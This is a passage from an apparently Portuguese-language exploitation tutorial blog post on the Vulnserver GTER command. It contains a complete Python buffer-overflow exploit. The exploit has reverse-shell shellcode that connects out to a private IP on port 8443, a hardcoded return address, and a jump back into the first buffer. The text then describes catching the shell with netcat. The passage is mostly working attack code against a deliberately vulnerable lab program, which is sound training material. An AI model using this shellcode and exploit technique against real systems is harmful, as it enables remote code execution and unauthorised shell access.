shellcode = b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3"

alinhamento = b"\x50\x5c"

payload = b"GTER /.:/" # funcao inicial
payload += alinhamento
payload += shellcode
payload += b"A" * (offset - 2 - len(shellcode))
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado! Cheque o netcat.")

Agora podemos setar o netcat na porta utilizada no shellcode, em nosso caso 8443 iniciar o vulnserver fora do Immunity e rodar nosso script.

Enumaração do comando.

E conseguimos nosso shell reverso.

Nesta vulnerabilidade encontramos um problema de tamanho de buffer para inserir o shellcode, mas conseguimos vencer esta limitação, reutilizando bibliotecas que o programa já utiliza.

Nos próximos comandos, vamos encontrar complexidades diferentes.

Go Go Go !!!

This post is licensed under CC BY 4.0 by the author.